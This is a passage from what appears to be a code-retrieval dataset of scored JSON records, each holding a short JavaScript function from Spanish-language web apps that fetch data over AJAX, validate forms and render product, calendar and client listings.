adaptaToken().then(function(token){\n request.onreadystatechange = function() {\n if (request.readyState == 4 && request.status == 200) {\n\n resolve(request.responseText);\n }\n };\n \n request.open(\"GET\", params + elemento + \"/\" + id, true);\n request.setRequestHeader(\"Authorization\", token);\n request.send();\n });\n })\n}", "title": "" }, { "docid": "0819f19f2f79a2e2aabe601b93d46370", "score": "0.5679958", "text": "function eventListenersListadoProductos(){\n document.querySelector('.contenedor-md').addEventListener('click', function(e){\n eventosDeProductos(e.target);\n }); \n\n }", "title": "" }, { "docid": "675318096400d9453aced7ee460fea62", "score": "0.56788546", "text": "function consumirServicio() {\n\n //URL DEL SERVICIO\n let url = \"https://jsonplaceholder.typicode.com/users\";\n\n let objetoAJAX = new XMLHttpRequest();\n\n //se abre la conexión\n objetoAJAX.open('GET', url, true);\n\n //se espera la carga del servicio\n objetoAJAX.onload = function() {\n\n let objeto1 = {\n nombre: \"juan\",\n edad: 30\n }\n\n let objeto2 = {\n nombre: \"juanes\",\n edad: 31\n }\n\n let arreglo = Array(objeto1, objeto2);\n\n console.log((arreglo[0]));\n\n console.log((JSON.parse(this.responseText)));\n\n\n }\n\n //enviar la conexion\n objetoAJAX.send();\n\n\n}", "title": "" }, { "docid": "0e37fa95fda1838b840d6595953598e8", "score": "0.5671693", "text": "function getCliente() {\n $.ajax({\n type: \"POST\",\n contentType: \"application/json; charset=utf-8\",\n url: \"wsprivado/wstecnicos.asmx/ObtenerDatos\",\n data: '{}',\n dataType: \"json\",\n success: function (msg) {\n $.each(msg.d, function () {\n datac.push({ 'id': this.id, 'nombre': this.descripcion })\n });\n },\n error: function (result) {\n alert(\"Error\");\n }\n });\n }", "title": "" }, { "docid": "d70a05486a5b882e88326415c4b0ca0d", "score": "0.5670806", "text": "selectFraccionamientos(){\n let me = this;\n me.proyectos=[];\n var url = '/select_fraccionamiento';\n Axios.get(url).then(function (response) {\n var respuesta = response.data;\n me.proyectos = respuesta.fraccionamientos;\n })\n .catch(function (error) {\n console.log(error);\n });\n }", "title": "" }, { "docid": "5eb9469c269cabdc228f8d0501678d4b", "score": "0.567025", "text": "function listarVendedores() {\n var params;\n enviarAjax(params, 'listarVendedores');\n }", "title": "" }, { "docid": "6ab2323bb08a81f23c146e7c2bfd75ad", "score": "0.5663476", "text": "function cargarRegistros(){\n var param = getParameterByName(\"position\", window.location.href);\n var objRegistro = new objetoRegistro();\n objRegistro.position=param;\n var obj= objAgenda.listarContacto(objRegistro);\n document.querySelector(\"#nombre\").value=obj.name;\n document.querySelector(\"#apellido\").value=obj.lastName;\n document.querySelector(\"#email\").value=obj.email;\n document.querySelector(\"#telefono\").value=obj.phone;\n }", "title": "" }, { "docid": "22e099ec4320caf0b6362bf94b9036c6", "score": "0.56623966", "text": "function obtencion_de_datos_y_envio_por_AJAX(a){\n //aqui lo primero que hacemos el prevenir el evento de envio del ofrmulario, por que primero queremos obtener los datos y enviarlos por AJAX, y esto lo hacemos con el siguiente comando\n //ponemos el evento y lo prevenimos con esta funcion\n a.preventDefault();\n\n\n //aqui vamos a validar si los inputs cumplen con el requerimiento de que si se digitaron datos numericos SOLAMENTE\n // y si es asi entonces que se sigua ejecutando todo el codigo\n //primero obtenemos todos los span que tengan la clase span_ticket_crear_persona, para poder validarlos todos, luego hacemos un for para recorrerlos y validarlos\n var spanes_de_ticket_crear_persona = document.getElementsByClassName('span_ticket_crear_persona');\n //despues obtenemos en otra variable la lista de los span_usuario_crear_persona, para anidarlo al for de span_ticket_crear_persona\n var spanes_de_usuario_crear_persona = document.getElementsByClassName('span_usuario_crear_persona');\n //lo mismo vamos a hacer con los input, por que tambien los necesitamos validar, para anidarlos al for\n var inputs_de_tickets_crear_persona = document.getElementsByClassName('ticket_creacion_aplicacion_nueva_persona');\n //lo mismo con el del usuario\n var inputs_de_usuarios_crear_persona = document.getElementsByClassName('usuario_creacion_aplicacion_nueva_persona');\n console.log(\"crea las listas\")\n for (var i = 0; i < spanes_de_ticket_crear_persona.length; i++) {\n console.log(\"entra el 1 for\")\n console.log(spanes_de_usuario_crear_persona)\n console.log(spanes_de_ticket_crear_persona)\n for (var a = 0; a < spanes_de_usuario_crear_persona.length; a++) {\n console.log(\"entra el 2 for\")\n for (var b = 0; b < inputs_de_tickets_crear_persona.length; b++) {\n console.log(\"entra el 3 for\")\n for (var c = 0; c < inputs_de_usuarios_crear_persona.length; c++) {\n if (inputs_de_tickets_crear_persona[b].value.length==0 || inputs_de_usuarios_crear_persona[c].value.length==0) {\n console.log(\"entra a la validaciones\")\n console.log(\"input ticket\")\n console.log(inputs_de_tickets_crear_persona[b])\n console.log(\"input usuario\")\n console.log(inputs_de_usuarios_crear_persona[c])\n console.log(c)\n if (inputs_de_tickets_crear_persona[b].value.length==0) {\n spanes_de_ticket_crear_persona[i].innerHTML=\"Llena el campo ticket\";\n spanes_de_ticket_crear_persona[i].classList.add(\"span_validacion_formulario\")\n }else{\n spanes_de_ticket_crear_persona[i].innerHTML=\"\"\n spanes_de_ticket_crear_persona[i].classList.remove(\"span_validacion_formulario\")\n }\n if (inputs_de_usuarios_crear_persona[c].value.length==0) {\n spanes_de_usuario_crear_persona[a].innerHTML=\"Llena el campo usuario\";\n spanes_de_usuario_crear_persona[a].classList.add(\"span_validacion_formulario\")\n }else{\n spanes_de_usuario_crear_persona[a].innerHTML=\"\"\n spanes_de_usuario_crear_persona[a].classList.remove(\"span_validacion_formulario\")\n }\n console.log(spanes_de_ticket_crear_persona[i])\n console.log(i)\n console.log(spanes_de_ticket_crear_persona.length-1)\n if (i == spanes_de_ticket_crear_persona.length-1) {\n console.log(\"retorna el false\")\n return false\n }\n\n }else if (isNaN(parseInt(inputs_de_tickets_crear_persona[b].value))) {\n spanes_de_ticket_crear_persona[i].innerHTML=\"Solo se permiten numeros\";\n spanes_de_ticket_crear_persona[i].classList.add(\"span_validacion_formulario\")\n if (!inputs_de_usuarios_crear_persona[c].value.length==0) {\n spanes_de_usuario_crear_persona[a].innerHTML=\"\"\n spanes_de_usuario_crear_persona[a].classList.remove(\"span_validacion_formulario\")\n }\n return false\n }else{\n spanes_de_usuario_crear_persona[a].innerHTML=\"\"\n spanes_de_usuario_crear_persona[a].classList.remove(\"span_validacion_formulario\")\n spanes_de_ticket_crear_persona[i].innerHTML=\"\"\n spanes_de_ticket_crear_persona[i].classList.remove(\"span_validacion_formulario\")\n }\n }\n }\n }\n }\n\n\n\n\n\n //luego aqui vamos a hacer la funcion la cual le pasaremos como parametro los datos obtenidos del formulario y enviaremos por AJAX a Django\n function enviar_datos_AJAX_crear_persona_POST(data) {\n //primero lo que hacemos es abrir la peticion, la cual le pasaremos 3 parametros.\n //el primero es el metodo de envio el cual escribiremos POST\n //el segundo es la URL a la cual le enviaremos los datos a Django\n //y el tercer parametro es el de si la peticion_1 la queremos de una forma asincronica o sea le colocaremos que si\n peticionHTTP_crear_persona_POST.open('POST', 'crear_persona', true);\n\n //luego aqui con esta linea de codigo le especificamos a el AJAX que vamos a enviar los datos de una forma segura o de una forma cifrada\n //esto ya que los datos no los pasamos por la URL\n peticionHTTP_crear_persona_POST.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');\n\n //y aqui lo que hacemos es enviar la peticion y como parametro de pasamos los datos que le pasamos a la funcion principal como parametro\n peticionHTTP_crear_persona_POST.send(data);\n\n }\n\n //luego aqui si vamos a obtener los datos del formulario y luego los enviaremos por AJAX de forma POST\n //primero vamos a comenzar con el nombre\n\n //despues vamos a obtener las aplicaciones que se van a agregar a la persona nueva\n //primero creamos una variable, la cual contendra todas las aplicaciones que estan checked\n var array_aplicacion_a_adicionar_persona_nueva = []\n //aqui vamos a obtener los checkbox que estan chuleados, vamos ahacer un for para iterar de nuevo todos los elementos que sea de tipo checkbox dentro de la variable de los checkbox_aplicaciones_crear_persona_nueva\n //este for nos va hacer la obtencion de los valores de las aplicaciones, los cuales despues enviados mediante AJAX a Django se van aconvertir en una lista.\n for (var i = 0; i < checkbox_aplicaciones_crear_persona_nueva.length; i++) {\n if (checkbox_aplicaciones_crear_persona_nueva[i].type == \"checkbox\") {\n if (checkbox_aplicaciones_crear_persona_nueva[i].checked) {\n array_aplicacion_a_adicionar_persona_nueva.push(checkbox_aplicaciones_crear_persona_nueva[i].value);\n }\n }\n }\n\n\n //para que los datos se puedan validar en Django, tenemos que hacer 4 listas diferentes y cada una obteniendo los datos de cada campo del formulario de creacion de usuario nuevo\n // esto lo hacemos ya que en django se vana iterar todos a la vez y luego en una lista parte todos se van a gregar en una lista aparte y se van a guardar en el formulario\n //primero crearemos la lista con los usuarios que se encuentren, para eso vamos a hacer un for,llamandolos por medio de una clase que le pusimos al momento de la creacion de los inputs\n //creamos la variable y de una vez los agregamos buscandolos por medio de la clase\n var usuarios = document.getElementsByClassName(\"usuario_creacion_aplicacion_nueva_persona\");\n //aqui creamos el array que los contendra\n var array_de_usuarios = [];\n //y con este for, lo que haremos sera agregar cada valor que este en los inputs y los agregara al array\n for (var i = 0; i < usuarios.length; i++) {\n array_de_usuarios.push(usuarios[i].value);\n }\n\n //ahora vamos a obtener los numeros de ticket de las aplicaciones a adicionar, hacemos similar el proceso que como lo hicimos en los nombres de usuario\n //aqui hacemos la variable que contiene los inputs\n var tickets = document.getElementsByClassName(\"ticket_creacion_aplicacion_nueva_persona\");\n //aqui hacemos el array que contendra lso valores de los inputs\n var array_de_tickets = [];\n //aqui hacemos el for que iterara la variable de los inputs y sacara los valores y los metera en el array\n for (var i = 0; i < tickets.length; i++) {\n array_de_tickets.push(tickets[i].value);\n }\n\n //ya tenemos la mayor parte de las cosas para hacer el formulario de creacion de usuario, el cual nos pide numeros de ticket, nombres de usuario, persona relacionada y aplicacion relacionada\n //ahora vamos a sacar el csrf_token\n var token = `csrfmiddlewaretoken=${form_de_crear_persona_nueva[0].value}`;\n\n //ahora vamos a obtener el nombre_completo de la persona\n var nombre_completo = `nombre_completo=${document.getElementById('id_nombre_completo_persona_nueva').value}`;\n\n //ahora vamos a obtener el valor del cargo asignado a la persona nueva\n var cargo = `cargo=${document.getElementById(\"id_cargo_persona_nueva\").value}`;\n\n //ahora vamos a obtener el valor de la bodega asignada\n var bodega = `bodega=${document.getElementById(\"id_ubicacion_persona_nueva\").value}`;\n\n //vamos a obtener los datos de el centro al que pertenece la persona\n var centro = `centro=${document.getElementById(\"id_centro_persona_nueva\").value}`;\n\n /*NOTIFICACIONES*/\n //aqui vamos a hacer algo completamente diferente a lo que estamos haciendo, vamos a declarar una variable, la cual nos servira para el momento de la notificacion en pantala del nombre completo\n nombre_completo_para_notificacion_crear_persona = document.getElementById('id_nombre_completo_persona_nueva').value;\n /*NOTIFICACIONES*/\n\n //por ultimo falta el id de la persona relacionada con el usuario dy el ticket para agregar el nuevo usuario, pero como es una persona NUEVA\n // no podemos obtener el id, asi que el id lo podriamos obtener en Django y no aqui\n\n //por ultimo haremos la variable URL. la cual obtendra el valos de todas las demas variables y las ordenara\n var url = `${token}&${nombre_completo}&aplicaciones=${array_aplicacion_a_adicionar_persona_nueva}&${cargo}&${centro}&${bodega}&array_de_usuarios=${array_de_usuarios}&array_de_tickets=${array_de_tickets}`;\n console.log(url);\n //ahora llamamos la funcion para enviar la peticion AJAX y le pasamos como parametro la URL que creamos, la cual tiene todos los datos\n enviar_datos_AJAX_crear_persona_POST(url);\n\n\n }", "title": "" }, { "docid": "588cb5a0c1adc51f2a738ae08608c1c8", "score": "0.5661301", "text": "function getResource() {\n // AJAX GET METHOD\n console.log('Inserte su metodo metodo AJAX GET aquí');\n $.ajax({\n method: 'GET',\n url: 'http://localhost:8000/api/v1/asistente/',\n beforeSend: function(){\n $loadingList.show();\n },\n success: function(data, status, xho){\n $.each(data, function(i, element){\n addItem(element);\n })\n console.log(xho);\n console.log(data);\n },\n error: function(data){\n console.log(data)\n }\n }).always(function(){\n $loadingList.hide()\n })\n }", "title": "" }, { "docid": "deec96b232e8d277e833ef5e0c9db205", "score": "0.56610537", "text": "function cargarOfertasPOS(listaDatos) {\n for (var index = 0; index < listaDatos.length; index++) {\n var item = listaDatos[index]; // Cargando elemento de la Lista\n jQuery(\"#listaInformacion\").append(crearComponentPOS(item,index));\n } // Insertando componentes en la Lista\n \n jQuery(\"#etiDataFiltro\").html(message.datosCargados(listaDatos.length,listaOfertas.length)); \n discApp.adjustFontSizeClass('.compFiltro');\n}", "title": "" }, { "docid": "7a9195681f7eb4ac8aa72ea8fd43e5b0", "score": "0.5658732", "text": "static subir(){\n\n console.log('[..] Hola, martes con frio en buenos aires!!!');\n\n let valorPedido = \"\";\n let valorRespuesta = \"\";\n// INPUT\n valorPedido = document.querySelector( \"#nota_titulo\" ).value;\n\n document.querySelector( \"#nota_titulo\" ).value = \"\";\n//1. Procesamiento\n valorRespuesta = valorPedido;\n //1.1 le envio un dato de parametro al Servidor \n const traer = async () => {\n let persona = {};\n persona.titulo = document.querySelector(\"#nota_titulo\").value;\n let personaStringJSON = JSON.stringify(persona);\n let respuesta = await fetch(\"NotaServer\",\n {method: 'POST', body: personaStringJSON});\n let datotexto = JSON.parse(await respuesta.text());\n document.querySelector('#panelResultados').innerHTML = datotexto;\n };\n traer()\n .catch(ex => {\n document.querySelector(\"#panelMensajes\").innerHTML = 'ERROR: ' + ex.message;\n });\n //1.2 recibo respuesta del Servidor, tambien en algun dato de parametro\n \n//2. OUTPUT \n document.querySelector(\"#panelMsgContenido\").innerHTML = valorRespuesta;\n \n console.log('[OK] Hola, martes con frio en buenos aires!!!');\n\n }", "title": "" }, { "docid": "bd3cc789e60e44ff1c8ae6f5578755f3", "score": "0.5649947", "text": "function pagoDeServicios(indice){\n let saldoAnterior = saldoCuenta;\n restarDinero(servicios[indice][1]);\n servicioPagado(indice, saldoAnterior);\n actualizarSaldoEnPantalla();\n}", "title": "" }, { "docid": "d575a55932c56e7ff7be6fd186e0811d", "score": "0.5643024", "text": "function listar_servidores(json,rinfo){\n var section = document.getElementById(\"area_server\");\n var button = document.createElement(\"button\");\n button.id = rinfo.address;\n\tconsole.log(button);\n button.onclick=function(){conectar(this);};\n var h3 = document.createElement(\"h3\");\n h3.innerHTML=json.nombre;\n\t\tvar img = document.createElement(\"img\");\n img.src=\"../img/server.png\";\n var div = document.createElement(\"div\");\n var p2 = document.createElement(\"p\");\n p2.id=rinfo.address+\"tiempo\";\n p2.innerHTML=json.tiempo+\"s\";\n\n section.appendChild(button);\n button.appendChild(h3);\n\tbutton.appendChild(img);\n button.appendChild(div);\n div.appendChild(p2);\n}", "title": "" }, { "docid": "15f461bf08fd7f46c329cb34760a3c6a", "score": "0.5639879", "text": "apagaTudo() {\n this._listaTitulos.venderTudo();\n }", "title": "" }, { "docid": "31cf81caacf88532c0879779fd2672a4", "score": "0.5629549", "text": "function cargarInmuebles(ordenarPor){\n var xhr = new XMLHttpRequest();\n var existeRespuesta = new Boolean (false);\n var q = \"ordenarPor=\"+ordenarPor;\n xhr.onreadystatechange = function(){\n if(xhr.readyState==4 && xhr.status==200){\n var respuesta = xhr.responseXML;\n var respuestaTexto = new XMLSerializer().serializeToString(respuesta);\n console.log(\"Cargar Inmuebles\");\n console.log(xhr.responseXML);\n x = respuesta.getElementsByTagName('resultado');\n \n if (respuesta != null){\n existeRespuesta = true;\n } else {\n existeRespuesta = false;\n }\n \n if (existeRespuesta == true){\n xs = new XMLSerializer();\n\n var coincidencias = x[0].childNodes[0];\n \n if (coincidencias != null) {\n document.getElementById(\"titulo\").style.display = \"none\";\n for (i=0; i<x.length; ++i) {\n \n document.getElementById('box2').innerHTML += xs.serializeToString(x[i]) + '\\n<br />\\n';\n }\n } else {\n document.getElementById(\"titulo\").style.display = \"block\";\n document.getElementById('box2').innerHTML = '';\n document.getElementById(\"titulo\").innerHTML = 'No hay coincidencias';\n }\n } else {\n alert(\"Error de conexion con la base de datos\");\n }\n \n \n }\n }\n\n xhr.open(\"POST\", \"http://localhost:8888/cgi-bin/Sistema-Inmobiliaria/mostrarInmueblesCliente.pl\", true);\n xhr.setRequestHeader(\n 'Content-type', \n 'application/x-www-form-urlencoded'\n ); \n xhr.responseType = \"document\";\n xhr.send(q);\n \n}", "title": "" }, { "docid": "4157522e35aefb52126590adc775e1b1", "score": "0.56218797", "text": "function recuperarDatos() {\n servicio = []; //id, nombre y precio\n servicio.push($('#select-servicio>option:checked').val());\n servicio.push($('#select-servicio>option:checked').text());\n servicio.push($('#select-servicio>option:checked').attr('price'));\n //valor de descuento\n descuento = $('#modal-descuento').val();\n //Valores del médico\n medico = [] //id, nombre\n medico.push($('#select-medico>option:checked').val());\n medico.push($('#select-medico>option:checked').text());\n //valor de cantidad\n cantidad = $('#modal-cantidad').val();\n }", "title": "" }, { "docid": "7842df8d81c9c3ffce0e056323e08cdc", "score": "0.56186736", "text": "function cargarOfertasPOS(listaDatos) {\n for (var index = 0; index < listaDatos.length; index++) {\n var item = listaDatos[index]; // Cargando elemento de la Lista\n jQuery(\"#listaPlan\").append(crearComponentPOS(item,index));\n } // Insertando componentes en la Lista\n \n jQuery(\"#etiNumberPlan\").html(message.datosCargados(listaDatos.length,listaOfertas.length)); \n discApp.adjustFontSizeClass('.compFiltro');\n}", "title": "" }, { "docid": "25594244171edd9e2e2819755077483e", "score": "0.5618055", "text": "function cargaDatosCalendario() {\r\n var data = {\r\n mes: arguments[0],\r\n anio: arguments[1],\r\n area: arguments[2]\r\n };\r\n var serviciosCalendario = [];\r\n evento.enviarEvento('Calendario/Servicios', data, '#seccion-notificaciones', function (respuesta) {\r\n $.each(respuesta, function (k, v) {\r\n var title = (v.Folio == null ? v.Ticket : v.Ticket + ' - (SD)' + v.Folio);\r\n var sucursal = (v.Sucursal == null ? '' : v.Sucursal + '<br />');\r\n var className = '';\r\n switch (v.IdEstatus) {\r\n case 1:\r\n case '1':\r\n case 2:\r\n case '2':\r\n case 10:\r\n case '10':\r\n case 12:\r\n case '12':\r\n className = 'bg-orange';\r\n break;\r\n case 3:\r\n case '3':\r\n className = 'bg-red';\r\n break;\r\n case 4:\r\n case '4':\r\n className = 'bg-green-darker';\r\n break;\r\n case 5:\r\n case '5':\r\n className = 'bg-green';\r\n break;\r\n case 6:\r\n case '6':\r\n className = 'bg-purple';\r\n break;\r\n default:\r\n className = 'bg-blue';\r\n break;\r\n }\r\n\r\n var description = v.Tipo + '<br />' + sucursal + v.Atiende + '<br />' + v.Estatus;\r\n\r\n serviciosCalendario.push({\r\n id: v.Id,\r\n title: title,\r\n start: v.Fecha,\r\n className: className,\r\n description: description\r\n });\r\n });\r\n\r\n $(\"#calendar\").fullCalendar('removeEvents');\r\n $(\"#calendar\").fullCalendar('renderEvents', serviciosCalendario);\r\n });\r\n }", "title": "" }, { "docid": "a2237703c531fbb25e0b78b8d17d0b65", "score": "0.56168437", "text": "function agregarServicio(servicioObj) {\n // console.log('agregando...');\n const { servicios } = cita;\n cita.servicios = [...servicios, servicioObj]; //forma de copiar un arreglo\n console.log(cita);\n}", "title": "" }, { "docid": "1aae78a3c53e2cf4a31d0a7cb01fab06", "score": "0.56107193", "text": "function cargaNombreUnidades() {\n dataServer.getNombreUnidades()\n .then(function (data) {\n // una vez obtenida la respuesta del servidor realizamos las sigientes acciones\n vm.nombreUnidades = data;\n console.log(\"Datos recuperados con EXITO! = UNIDADES\");\n console.log(vm.nombreUnidades);\n })\n .catch(function (err) {\n console.log(\"ERRRROOORR!!!!!!!!!! ---> Al cargar las UNIDADES\");\n })\n }", "title": "" }, { "docid": "5437c69d23e5b6da6d202859cd64fdef", "score": "0.5607925", "text": "selectEtapa(proyecto){\n let me = this;\n me.etapas=[];\n var url = '/select_etapa_proyecto?buscar=' + proyecto;\n axios.get(url).then(function (response) {\n var respuesta = response.data;\n me.etapas = respuesta.etapas;\n })\n .catch(function (error) {\n });\n }", "title": "" }, { "docid": "1bf43912ca6d97db4cd9cb50f1ac0dd1", "score": "0.5604673", "text": "function listarClientes() {\n var params;\n enviarAjax(params, 'listarClientes');\n }", "title": "" }, { "docid": "de84b208c4243a6d4631406818ca6d8f", "score": "0.55978924", "text": "function carregarProdutos() {\n let divPai = document.getElementById('divPai')\n axios.get(urlProdutos)\n .then(res => {\n let produtos = res.data\n for (let contador = 0; contador < produtos.length; contador++) {\n let produto = produtos[contador]\n let divDeUmProduto = document.createElement('div')\n divDeUmProduto.innerHTML = `\n <div class='card'>\n <img class='card-foto' src=${produto.foto} alt=\"...\">\n <div class=\"card-body\">\n <h3 class=\"card-title\">${produto.nome}</h3>\n <p class=\"card-text\">\n <ul>\n <li> Preço - RS ${produto.preco} / Kg</li>\n </ul>\n </p>\n <p>Quantidade (Kg): <input type='number' class='quantidade' id='quantidade${produto.id}'></p> \n <button id='${produto.id}' class='botao'>Adicionar ao Carrinho</button> \n </div>\n </div>`\n divPai.appendChild(divDeUmProduto)\n document.getElementById(produto.id).addEventListener('click', () => {\n\n escolherProduto(produto, `quantidade${produto.id}`)\n })\n }\n })\n .catch(err => {\n console.log(err)\n })\n}", "title": "" }, { "docid": "a341b73f0ca25cf77723f7179492318f", "score": "0.55860204", "text": "function consultar() {\n idConsulta !== 0 ? consultarPorId(idConsulta) : consultarRandom();\n if (document.getElementsByClassName('invisible').length) {\n mostrarElementos();\n }\n }", "title": "" }, { "docid": "5c454f09eb087a9205cd89c3620ad578", "score": "0.55844164", "text": "function callLoadGrupos() {\n\t\t\t$log.debug(\"--- find pedidos abiertos ---\");\n\n\t\t\tfunction doOk(response) {\n\t\t\t\t \n\t\t\t\tvm.pedidos = response.data;\n\t\t\t\t\n\n\t\t\t\tangular.forEach(vm.pedidos, function(pedido) {\n\t\t\t\t\t$log.debug(pedido.tipo );\n\t\t\t\t\tpedido.icon = 'people';\n\t\t\t\t\tpedido.icon = pedido.tipo == 'INDIVIDUAL' ? 'person' : pedido.icon ;\n\t\t\t\t\tpedido.icon = pedido.tipo == 'NODOS' ? 'people_outline' : pedido.icon ;\n\t\t\t\t\t\n\t\t\t\t});\n\n\t\t\t\tif (vm.carrito !=null){\n\t\t\t\t\t//vm.carrito = vm.pedidos[0];\n\t\t\t\t\tvm.carrito = StateCommons.ls.pedidoSeleccionado;\t\t\t\t\t\n\t\t\t\t}else{\n\t\t\t\t\tvm.carrito = vm.pedidos[0];\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// TODO: hacer el ID de usuario dinamico\n\t\t\trestProxy.get(CTE_REST.productosPedidoByUser(6),{},doOk);\t\t \n\t }", "title": "" }, { "docid": "399a37220edac4c231459c7230934e1f", "score": "0.5569934", "text": "function enviaCompra(objeto, valorTotalVenda, dataVenda, comprador) {\n\n var ajax = new XMLHttpRequest();\n ajax.open(\"POST\", \"http://localhost:8080/venda/cadastvenda\", true);\n ajax.setRequestHeader(\"Content-type\", \"application/json\");\n\n //console.log(objeto);\n\n ajax.send(objeto);\n ajax.onreadystatechange = function() {\n console.log(\"READY STATE => \" + ajax.readyState + \" / STATUS =>\" +ajax.status)\n if (ajax.readyState == 4 && ajax.status == 201) {\n var gadoVendido = [];\n enviaValorCaixa(valorTotalVenda, dataVenda, comprador);\n var data = JSON.parse(ajax.response);\n gadoVendido = data.idGadoVendido;\n\n gadoVendido.forEach(gado => {\n desativaGado(JSON.stringify(gado));\n })\n console.log(gadoVendido);\n //desativaGado(objeto);\n }\n }\n}", "title": "" }, { "docid": "e7e360b2515eba0ea9a229c438dbd3c4", "score": "0.5561101", "text": "function limpiarBusqueda () {\n var xhr = new XMLHttpRequest();\n var existeRespuesta = new Boolean (false);\n var q = \"ordenarPor=No\";\n history.replaceState({}, null, \"http://localhost:8888/Sistema-Inmobiliaria/html/inventario.html\");\n xhr.onreadystatechange = function(){\n if(xhr.readyState==4 && xhr.status==200){\n var respuesta = xhr.responseXML;\n var respuestaTexto = new XMLSerializer().serializeToString(respuesta);\n console.log(\"Cargar Inmuebles\");\n console.log(xhr.responseXML);\n x = respuesta.getElementsByTagName('resultado');\n \n if (respuesta != null){\n existeRespuesta = true;\n } else {\n existeRespuesta = false;\n }\n \n if (existeRespuesta == true){\n xs = new XMLSerializer();\n\n var coincidencias = x[0].childNodes[0];\n \n if (coincidencias != null) {\n document.getElementById(\"titulo\").style.display = \"none\";\n document.getElementById('box2').innerHTML = '';\n for (i=0; i<x.length; ++i) {\n \n document.getElementById('box2').innerHTML += xs.serializeToString(x[i]) + '\\n<br />\\n';\n }\n } else {\n document.getElementById(\"titulo\").style.display = \"block\";\n document.getElementById('box2').innerHTML = '';\n document.getElementById(\"titulo\").innerHTML = 'No hay coincidencias';\n }\n } else {\n alert(\"Error de conexion con la base de datos\");\n }\n \n \n }\n }\n\n xhr.open(\"POST\", \"http://localhost:8888/cgi-bin/Sistema-Inmobiliaria/mostrarInmueblesCliente.pl\", true);\n xhr.setRequestHeader(\n 'Content-type', \n 'application/x-www-form-urlencoded'\n ); \n xhr.responseType = \"document\";\n xhr.send(q);\n \n}", "title": "" }, { "docid": "e61904709f15e3f7d56dd73292f4dd67", "score": "0.55581254", "text": "presupuestoRestante(cantidad){\n const restante=document.querySelector('span#restante');\n //Leemos el presupuesto restante\n const presupuestoRestanteUsuario=cantidadPresupuesto.presupuestoRestante(cantidad);\n \n restante.innerHTML=`${presupuestoRestanteUsuario}`;\n\n this.comprobarPresupuesto();\n }", "title": "" }, { "docid": "8bfdb31bd2f462b896b4e1bfa04b186b", "score": "0.5558029", "text": "function gestionarListado(evento){\n\tif (evento.target.readyState == 4 && evento.target.status == 200) {\n\t\trespuesta = JSON.parse(evento.target.responseText);\n\t\trespuestaLibros(respuesta);\n }\n}", "title": "" }, { "docid": "4325560b249698ec2143e900a1af384d", "score": "0.5555881", "text": "function BuscarEspecialidad() {\n var nombre = document.getElementById(\"nombre\").value;\n var url = \"Especialidad/BuscarEspecialidad/?nombreEspecialidad=\" + nombre;\n var tbody = document.getElementById(\"tbDatos\");\n var campos = new Array(\"especialidadId\", \"nombre\", \"descripcion\");\n pintarPantallaConsulta(url, campos, tbody);\n }", "title": "" }, { "docid": "622600022e7c2a02b597e6fb6e8d61ed", "score": "0.55558753", "text": "getPlazasOcupadas() {\n return this.http.get(urlBasePlazas + '/search/total-ocupado?ocupado=true');\n }", "title": "" }, { "docid": "50dbfae73540f42013f6bafb83d8fd20", "score": "0.55536985", "text": "function obtemInfos(){\r\n let usuario = JSON.parse(localStorage.getItem('user'));\r\n\r\n let xhr = new XMLHttpRequest();\r\n xhr.open('GET', `https://servergerenciamento.herokuapp.com/usuarios/${usuario.id}/atividades`);\r\n xhr.onload = exibeAtividades;\r\n xhr.send();\r\n}", "title": "" }, { "docid": "c13a74b12e2e8d9541e4eac635989d94", "score": "0.55536073", "text": "function obtenerCobrosPorFacturar(idContrato){\n cxcService.getCobrosPorFacturar({},{},idContrato,serverConf.ERPCONTA_WS, function (response) {\n //exito\n console.info(\"cobrosPorFactura: Por Cobrar\",response.data);\n $scope.pagos = response.data;\n /* obtieneLista();\n console.log( \"DATOS PAGOS POR COBRAR\",$scope.pagos);*/\n angular.forEach($scope.pagos,function(row){\n row.fechaProgramadaTs = (new Date(row.fechaProgramada)).getTime();\n row.getSaldoBs = function(){\n console.log(\"grilla---->\",this.montoProgramado-this.montoFacturado)\n return this.montoProgramado-this.montoFacturado;\n };\n row.getSaldoSus= function(){\n return this.montoProgramadoSegMoneda-this.montoFacturadoSegMoneda;\n };\n });\n $scope.hideLoader();\n },function (responseError) {\n //error\n $scope.hideLoader();\n });\n }", "title": "" }, { "docid": "d32865b526e4a3b3542bfe49f0035b9f", "score": "0.555285", "text": "function BuscarEnfermedad() {\n var nombre = document.getElementById(\"nombre\").value;\n var url = \"ConsultaCitas/BuscarCitas/?nombreCitas=\" + nombre;\n var tbody = document.getElementById(\"tbDatos\");\n var campos = new Array(\"fechaCita\", \"diagnostico\", \"medico\", \"paciente\", \"especialidad\");\n pintarPantallaConsulta(url, campos, tbody);\n }", "title": "" }, { "docid": "bb636a8599427b759e5797ae1ca381e3", "score": "0.5552", "text": "function respuesta_servidor(respuesta) {\n // alert(respuesta)\n //extraer de la respuesta codigo y mensaje (si tipo texto)\n // let codigo_respuesta = respuesta.substring(0, 2);\n // let mensaje = respuesta.substring(2);\n\n //extraer de la respuesta codigo y mensaje (si tipo json)\n\n //1. convertir json a array\n let array_respuesta = JSON.parse(respuesta);\n\n //2. extraer los datos e array\n let codigo_respuesta = array_respuesta[0];\n let mensaje = array_respuesta[1];\n\n if (codigo_respuesta == \"00\") {\n //enviar mensaje a textarea\n document.querySelector(\"#texto\").value = mensaje;\n } else {\n //enviar mensaje al span\n document.querySelector(\"#mensaje\").innerText = mensaje;\n }\n}", "title": "" }, { "docid": "9a95527fc07400919f498a9f3681f555", "score": "0.55503315", "text": "function affichageProduits(response) {\n //Séléction élément du DOM\n const positionElement = document.querySelector(\".container-produits\");\n\n //La boucle pour afficher tous les objets dans la page web\n for (i = 0; i < response.length; i++) {\n //Mettre les données dans les variables\n response.forEach((element, i) => {\n _id[i] = element._id;\n name[i] = element.name;\n description[i] = element.description;\n imageUrl[i] = element.imageUrl;\n price[i] = element.price;\n });\n\n //Afficher tous les objets sur la page web\n structureProduits += `\n \n <div class=\"mise-en-page-produit\">\n <div class=\"produit_photo\">\n <img src=\"${imageUrl[i]}\">\n </div>\n <div class=\"produit\">\n <ul>\n <li><span class=\"gras\">Nom produit : </span> <span>${\n name[i]\n }</span></li>\n <li><span class=\"gras\">Description :</span> <span>${\n description[i]\n }</span></li> \n <li><span class=\"gras\">price : </span><span>${\n price[i] / 100\n } €</span></li>\n </ul>\n <a href=\"./produit.html?id=${_id[i]}\">\n <button class=\"btn\">Voir l'article</button>\n </a>\n </div>\n </div>\n \n `;\n\n //Injection du code dans index.html\n positionElement.innerHTML = structureProduits;\n }\n }", "title": 